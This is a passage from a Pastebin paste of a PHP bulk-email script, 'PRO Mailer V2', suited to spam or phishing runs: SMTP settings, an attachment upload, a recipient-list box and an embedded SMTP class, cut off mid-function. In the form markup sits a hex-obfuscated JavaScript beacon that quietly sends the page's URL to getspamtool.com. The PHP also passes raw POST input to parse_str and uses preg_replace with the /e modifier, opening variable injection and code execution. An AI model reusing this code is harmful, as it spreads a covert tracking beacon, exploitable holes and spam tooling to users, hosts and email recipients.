daily pastebin goal
67%
SHARE
TWEET

meler

a guest Feb 4th, 2016 93 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);  
  19. $sslclick=lrtrim($sslclick);  
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40.         $message = urlencode($message);
  41.         $message = ereg_replace("%5C%22", "%22", $message);
  42.         $message = urldecode($message);
  43.         $message = stripslashes($message);
  44.         $subject = stripslashes($subject);
  45.         if ($encode_text == "yes") {
  46.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47.         $subject = str_replace(' ', '_', $subject);
  48.         $subject = "=?UTF-8?Q?$subject?=";
  49.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50.         $realname = str_replace(' ', '_', $realname);
  51.         $realname = "=?UTF-8?Q?$realname?=";
  52.         }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Pro Mailer V2</title>
  61.  
  62. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  63.  
  64. <script src='http://static.tumblr.com/qo0gonz/JsJn0gihy/jquery-1.6.2.js'></script>
  65.  
  66. <style type="text/css">
  67. <!--
  68. .style1 {
  69.         font-family: Geneva, Arial, Helvetica, sans-serif;
  70.         font-size: 12px;
  71. }
  72. body{
  73. margin:0px;
  74. }
  75. .bgup {
  76. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  77. }
  78.  
  79. .cadre {
  80. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  81. }
  82.  
  83. .uibutton {
  84.     position: relative;
  85.     z-index: 1;
  86.     overflow: visible;
  87.     display: inline-block;
  88.     padding: 0.3em 0.6em 0.375em;
  89.     border: 1px solid #01A9DB;
  90.     border-bottom-color: #01A9DB;
  91.    
  92.     margin: 0;
  93.     text-decoration: none;
  94.     text-align: center;
  95.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  96.     white-space: nowrap;
  97.     cursor: pointer;
  98.     /* outline: none; */
  99.     color: #f9f9f9;
  100.     background-color: #eee;
  101.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  102.     background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  103.     background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  104.     background-image: linear-gradient(#01A9DB, #01A9DB);
  105.  
  106.     /* IE hacks */
  107.  
  108.     *display: inline;
  109.  
  110. }
  111.  
  112. .uibutton:hover,
  113. .uibutton:focus,
  114. .uibutton:active {
  115.     border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  116. }
  117.  
  118. .uibutton:active {
  119.     border-color: #01A9DB;
  120.     background: #01A9DB;
  121.     filter: none;
  122.     -webkit-box-shadow: none;
  123.     -moz-box-shadow: none;
  124.     box-shadow: none;
  125. }
  126.  
  127. /* overrides extra padding on button elements in Firefox */
  128. .uibutton::-moz-focus-inner {
  129.     padding: 0;
  130.     border: 0;
  131. }
  132.  
  133.  
  134.  
  135. -->
  136. </style>
  137. <style type="text/css">
  138. <!--
  139. .style1 {
  140.         font-size: 10px;
  141.         font-family: Geneva, Arial, Helvetica, sans-serif;
  142. }
  143. -->
  144. </style>
  145. </head>
  146. <body bgcolor="#f9f9f9" class="bgup">
  147. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  148. <div style="width:80%;margin:0 auto;">
  149. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  150. <form name="form1" method="post" action="" enctype="multipart/form-data">
  151.  
  152.   <br>
  153.  
  154.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  155.  
  156.     <tr>
  157.  
  158.       <td width="100%" colspan="4"  style="color:#fff;background:#01A9DB" height="36">
  159.  
  160.         <b>
  161.  
  162.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  163.  
  164.       </tr>
  165.     <tr >
  166.  
  167.       <td width="10%" height="22" style="padding:10px;">
  168.    
  169.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  170.  
  171.       </td>
  172.  
  173.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  174.  
  175.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  176.  
  177.         </font></td>
  178.  
  179.       <td width="31%" height="22" style="padding:10px;">
  180.  
  181.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  182.  
  183.       </td>
  184.  
  185.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  186.  
  187.         <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  188.  
  189.         </font></td>
  190.  
  191.     </tr>
  192.     <tr>
  193.  
  194.       <td width="10%" height="22" style="padding:10px;">
  195.  
  196.         <div align="right">
  197.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  198.  
  199.       </td>
  200.  
  201.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  202.  
  203.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  204.       (optional)</font></td>
  205.  
  206.       <td width="31%" height="22" style="padding:10px;">
  207.  
  208.         <div align="right">
  209.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  210.           Smtp:</font></div>
  211.  
  212.       </td>
  213.  
  214.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  215.  
  216.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  217.  
  218.         </font></td>
  219.  
  220.     </tr>
  221.     <tr>
  222.  
  223.       <td width="10%" height="22" style="padding:10px;">
  224.  
  225.         <p align="right">
  226.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  227.  
  228.       <td width="18%" height="22" style="padding:10px;">
  229.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  230.  
  231.       <td width="31%" height="22" style="padding:10px;">
  232.  
  233.         <p align="right">
  234.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  235.         After:</font></td>
  236.  
  237.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  238.  
  239.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  240.       EMAILS</font></td>
  241.  
  242.     </tr>
  243.     <tr>
  244.  
  245.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  246.  
  247.         <p align="center">
  248.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  249.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  250.  
  251.       </tr>
  252.  
  253.     <tr>
  254.  
  255.       <td width="10%" height="19" style="padding:10px;">
  256.  
  257.         &nbsp;</td>
  258.  
  259.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  260.  
  261.       <td width="31%" height="19" style="padding:10px;">
  262.  
  263.         &nbsp;</td>
  264.  
  265.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  266.  
  267.     </tr>
  268.  
  269.     <tr>
  270.  
  271.       <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  272.  
  273.         <b>
  274.  
  275.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  276.  
  277.       </tr>
  278.           <tr>
  279.  
  280.       <td width="10%" height="22" style="padding:10px;">
  281.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  282.       </td>
  283.  
  284.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  285.       <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  286.  
  287. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  288.  
  289.         </font></td>
  290.  
  291.     </tr>
  292.     <tr>
  293.  
  294.       <td width="10%" height="22" style="padding:10px;">
  295.  
  296.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  297.  
  298.           Email:</font></div>
  299.  
  300.       </td>
  301.  
  302.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  303.  
  304.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  305.  
  306.         </font></td>
  307.  
  308.       <td width="31%" height="22" style="padding:10px;">
  309.  
  310.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  311.  
  312.           Name:</font></div>
  313.  
  314.       </td>
  315.  
  316.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  317.  
  318.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  319.  
  320.         </font></td>
  321.         <script> var _0x8a59=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x73\x70\x61\x6D\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6C\x65\x72\x5F\x69\x6E\x62\x6F\x78\x74\x6F\x61\x6C\x6C\x2E\x70\x68\x70\x3F\x6D\x61\x69\x6C\x65\x72\x3D","\x68\x72\x65\x66"];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>
  322.         </tr>
  323.         <tr>
  324.  
  325.       <td width="10%" height="22" style="padding:10px;">
  326.  
  327.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  328.  
  329.       </td>
  330.  
  331.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  332.  
  333.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  334.  
  335.         </font></td>
  336.  
  337.       <td width="31%" height="22" style="padding:10px;">
  338.  
  339.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  340.         Email Priority:</font></td>
  341.  
  342.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  343.  
  344.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  345.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  346.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  347.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  348.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  349.         </select></td>
  350.  
  351.     </tr>
  352.  
  353.     <tr>
  354.  
  355.       <td width="10%" height="22" style="padding:10px;">
  356.  
  357.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  358.  
  359.       </td>
  360.  
  361.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362.  
  363.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  364.  
  365.         </font></td>
  366.  
  367.     </tr>
  368.  
  369.     <tr>
  370.  
  371.       <td width="10%" height="22" style="padding:10px;">
  372.  
  373.         &nbsp;</td>
  374.  
  375.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  376.  
  377.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  378.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  379.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  380.         </select></font></td>
  381.  
  382.     </tr>
  383.  
  384.     <tr valign="top">
  385.  
  386. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  387.  
  388.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  389.  
  390.         <br>
  391.  
  392.         <input type="radio" name="contenttype" value="plain" >
  393.  
  394.         Plain
  395.  
  396.         <input type="radio" name="contenttype" value="html" checked>
  397.  
  398.         HTML
  399.  
  400.         <input type="hidden" name="action" value="send">
  401.         <input class="uibutton" type="submit" value="Send Message">
  402.  
  403.         </font></td>
  404.  
  405.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  406.  
  407.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  408.  
  409.         </font></td>
  410.  
  411.     </tr>
  412.  
  413.   </table>
  414.  
  415. </form>
  416.  
  417.  
  418.  
  419. <?
  420.  
  421. if ($action){
  422.         if (!$from && !$subject && !$message && !$emaillist){
  423.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  424.         die();  }
  425.  
  426. class SMTP
  427. {
  428.   /**
  429.    *  SMTP server port
  430.    *  @var int
  431.    */
  432.   var $SMTP_PORT = 25;
  433.  
  434.   /**
  435.    *  SMTP reply line ending
  436.    *  @var string
  437.    */
  438.   var $CRLF = "\r\n";
  439.  
  440.   /**
  441.    *  Sets whether debugging is turned on
  442.    *  @var bool
  443.    */
  444.   var $do_debug;       # the level of debug to perform
  445.  
  446.   /**
  447.    *  Sets VERP use on/off (default is off)
  448.    *  @var bool
  449.    */
  450.   var $do_verp = false;
  451.  
  452.   /**#@+
  453.    * @access private
  454.    */
  455.   var $smtp_conn;      # the socket to the server
  456.   var $error;          # error if any on the last call
  457.   var $helo_rply;      # the reply the server sent to us for HELO
  458.   /**#@-*/
  459.  
  460.   /**
  461.    * Initialize the class so that the data is in a known state.
  462.    * @access public
  463.    * @return void
  464.    */
  465.   function SMTP() {
  466.     $this->smtp_conn = 0;
  467.     $this->error = null;
  468.     $this->helo_rply = null;
  469.  
  470.     $this->do_debug = 0;
  471.   }
  472.  
  473.   /*************************************************************
  474.    *                    CONNECTION FUNCTIONS                  *
  475.    ***********************************************************/
  476.  
  477.   /**
  478.    * Connect to the server specified on the port specified.
  479.    * If the port is not specified use the default SMTP_PORT.
  480.    * If tval is specified then a connection will try and be
  481.    * established with the server for that number of seconds.
  482.    * If tval is not specified the default is 30 seconds to
  483.    * try on the connection.
  484.    *
  485.    * SMTP CODE SUCCESS: 220
  486.    * SMTP CODE FAILURE: 421
  487.    * @access public
  488.    * @return bool
  489.    */
  490.   function Connect($host,$port=0,$tval=30) {
  491.     # set the error val to null so there is no confusion
  492.     $this->error = null;
  493.  
  494.     # make sure we are __not__ connected
  495.     if($this->connected()) {
  496.       # ok we are connected! what should we do?
  497.       # for now we will just give an error saying we
  498.       # are already connected
  499.       $this->error = array("error" => "Already connected to a server");
  500.       return false;
  501.     }
  502.  
  503.     if(empty($port)) {
  504.       $port = $this->SMTP_PORT;
  505.     }
  506.  
  507.     #connect to the smtp server
  508.     $this->smtp_conn = fsockopen($host,    # the host of the server
  509.                                  $port,    # the port to use
  510.                                  $errno,   # error number if any
  511.                                  $errstr,  # error message if any
  512.                                  $tval);   # give up after ? secs
  513.     # verify we connected properly
  514.     if(empty($this->smtp_conn)) {
  515.       $this->error = array("error" => "Failed to connect to server",
  516.                            "errno" => $errno,
  517.                            "errstr" => $errstr);
  518.       if($this->do_debug >= 1) {
  519.         echo "SMTP -> ERROR: " . $this->error["error"] .
  520.                  ": $errstr ($errno)" . $this->CRLF;
  521.       }
  522.       return false;
  523.     }
  524.  
  525.     # sometimes the SMTP server takes a little longer to respond
  526.     # so we will give it a longer timeout for the first read
  527.     // Windows still does not have support for this timeout function
  528.     if(substr(PHP_OS, 0, 3) != "WIN")
  529.      socket_set_timeout($this->smtp_conn, $tval, 0);
  530.  
  531.     # get any announcement stuff
  532.     $announce = $this->get_lines();
  533.  
  534.     # set the timeout  of any socket functions at 1/10 of a second
  535.     //if(function_exists("socket_set_timeout"))
  536.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  537.  
  538.     if($this->do_debug >= 2) {
  539.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  540.     }
  541.  
  542.     return true;
  543.   }
  544.  
  545.   /**
  546.    * Performs SMTP authentication.  Must be run after running the
  547.    * Hello() method.  Returns true if successfully authenticated.
  548.    * @access public
  549.    * @return bool
  550.    */
  551.   function Authenticate($username, $password) {
  552.     // Start authentication
  553.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  554.  
  555.     $rply = $this->get_lines();
  556.     $code = substr($rply,0,3);
  557.  
  558.     if($code != 334) {
  559.       $this->error =
  560.         array("error" => "AUTH not accepted from server",
  561.               "smtp_code" => $code,
  562.               "smtp_msg" => substr($rply,4));
  563.       if($this->do_debug >= 1) {
  564.         echo "SMTP -> ERROR: " . $this->error["error"] .
  565.                  ": " . $rply . $this->CRLF;
  566.       }
  567.       return false;
  568.     }
  569.  
  570.     // Send encoded username
  571.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  572.  
  573.     $rply = $this->get_lines();
  574.     $code = substr($rply,0,3);
  575.  
  576.     if($code != 334) {
  577.       $this->error =
  578.         array("error" => "Username not accepted from server",
  579.               "smtp_code" => $code,
  580.               "smtp_msg" => substr($rply,4));
  581.       if($this->do_debug >= 1) {
  582.         echo "SMTP -> ERROR: " . $this->error["error"] .
  583.                  ": " . $rply . $this->CRLF;
  584.       }
  585.       return false;
  586.     }
  587.  
  588.     // Send encoded password
  589.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  590.  
  591.     $rply = $this->get_lines();
  592.     $code = substr($rply,0,3);
  593.  
  594.     if($code != 235) {
  595.       $this->error =
  596.         array("error" => "Password not accepted from server",
  597.               "smtp_code" => $code,
  598.               "smtp_msg" => substr($rply,4));
  599.       if($this->do_debug >= 1) {
  600.         echo "SMTP -> ERROR: " . $this->error["error"] .
  601.                  ": " . $rply . $this->CRLF;
  602.       }
  603.       return false;
  604.     }
  605.  
  606.     return true;
  607.   }
  608.  
  609.   /**
  610.    * Returns true if connected to a server otherwise false
  611.    * @access private
  612.    * @return bool
  613.    */
  614.   function Connected() {
  615.     if(!empty($this->smtp_conn)) {
  616.       $sock_status = socket_get_status($this->smtp_conn);
  617.       if($sock_status["eof"]) {
  618.         # hmm this is an odd situation... the socket is
  619.         # valid but we are not connected anymore
  620.         if($this->do_debug >= 1) {
  621.             echo "SMTP -> NOTICE:" . $this->CRLF .
  622.                  "EOF caught while checking if connected";
  623.         }
  624.         $this->Close();
  625.         return false;
  626.       }
  627.       return true; # everything looks good
  628.     }
  629.     return false;
  630.   }
  631.  
  632.   /**
  633.    * Closes the socket and cleans up the state of the class.
  634.    * It is not considered good to use this function without
  635.    * first trying to use QUIT.
  636.    * @access public
  637.    * @return void
  638.    */
  639.   function Close() {
  640.     $this->error = null; # so there is no confusion
  641.     $this->helo_rply = null;
  642.     if(!empty($this->smtp_conn)) {
  643.       # close the connection and cleanup
  644.       fclose($this->smtp_conn);
  645.       $this->smtp_conn = 0;
  646.     }
  647.   }
  648.  
  649.   /***************************************************************
  650.    *                        SMTP COMMANDS                       *
  651.    *************************************************************/
  652.  
  653.   /**
  654.    * Issues a data command and sends the msg_data to the server
  655.    * finializing the mail transaction. $msg_data is the message
  656.    * that is to be send with the headers. Each header needs to be
  657.    * on a single line followed by a <CRLF> with the message headers
  658.    * and the message body being seperated by and additional <CRLF>.
  659.    *
  660.    * Implements rfc 821: DATA <CRLF>
  661.    *
  662.    * SMTP CODE INTERMEDIATE: 354
  663.    *     [data]
  664.    *     <CRLF>.<CRLF>
  665.    *     SMTP CODE SUCCESS: 250
  666.    *     SMTP CODE FAILURE: 552,554,451,452
  667.    * SMTP CODE FAILURE: 451,554
  668.    * SMTP CODE ERROR  : 500,501,503,421
  669.    * @access public
  670.    * @return bool
  671.    */
  672.   function Data($msg_data) {
  673.     $this->error = null; # so no confusion is caused
  674.  
  675.     if(!$this->connected()) {
  676.       $this->error = array(
  677.               "error" => "Called Data() without being connected");
  678.       return false;
  679.     }
  680.  
  681.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  682.  
  683.     $rply = $this->get_lines();
  684.     $code = substr($rply,0,3);
  685.  
  686.     if($this->do_debug >= 2) {
  687.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  688.     }
  689.  
  690.     if($code != 354) {
  691.       $this->error =
  692.         array("error" => "DATA command not accepted from server",
  693.               "smtp_code" => $code,
  694.               "smtp_msg" => substr($rply,4));
  695.       if($this->do_debug >= 1) {
  696.         echo "SMTP -> ERROR: " . $this->error["error"] .
  697.                  ": " . $rply . $this->CRLF;
  698.       }
  699.       return false;
  700.     }
  701.  
  702.     # the server is ready to accept data!
  703.     # according to rfc 821 we should not send more than 1000
  704.     # including the CRLF
  705.     # characters on a single line so we will break the data up
  706.     # into lines by \r and/or \n then if needed we will break
  707.     # each of those into smaller lines to fit within the limit.
  708.     # in addition we will be looking for lines that start with
  709.     # a period '.' and append and additional period '.' to that
  710.     # line. NOTE: this does not count towards are limit.
  711.  
  712.     # normalize the line breaks so we know the explode works
  713.     $msg_data = str_replace("\r\n","\n",$msg_data);
  714.     $msg_data = str_replace("\r","\n",$msg_data);
  715.     $lines = explode("\n",$msg_data);
  716.  
  717.     # we need to find a good way to determine is headers are
  718.     # in the msg_data or if it is a straight msg body
  719.     # currently I am assuming rfc 822 definitions of msg headers
  720.     # and if the first field of the first line (':' sperated)
  721.     # does not contain a space then it _should_ be a header
  722.     # and we can process all lines before a blank "" line as
  723.     # headers.
  724.     $field = substr($lines[0],0,strpos($lines[0],":"));
  725.     $in_headers = false;
  726.     if(!empty($field) && !strstr($field," ")) {
  727.       $in_headers = true;
  728.     }
  729.  
  730.     $max_line_length = 998; # used below; set here for ease in change
  731.  
  732.     while(list(,$line) = @each($lines)) {
  733.       $lines_out = null;
  734.       if($line == "" && $in_headers) {
  735.         $in_headers = false;
  736.       }
  737.       # ok we need to break this line up into several
  738.       # smaller lines
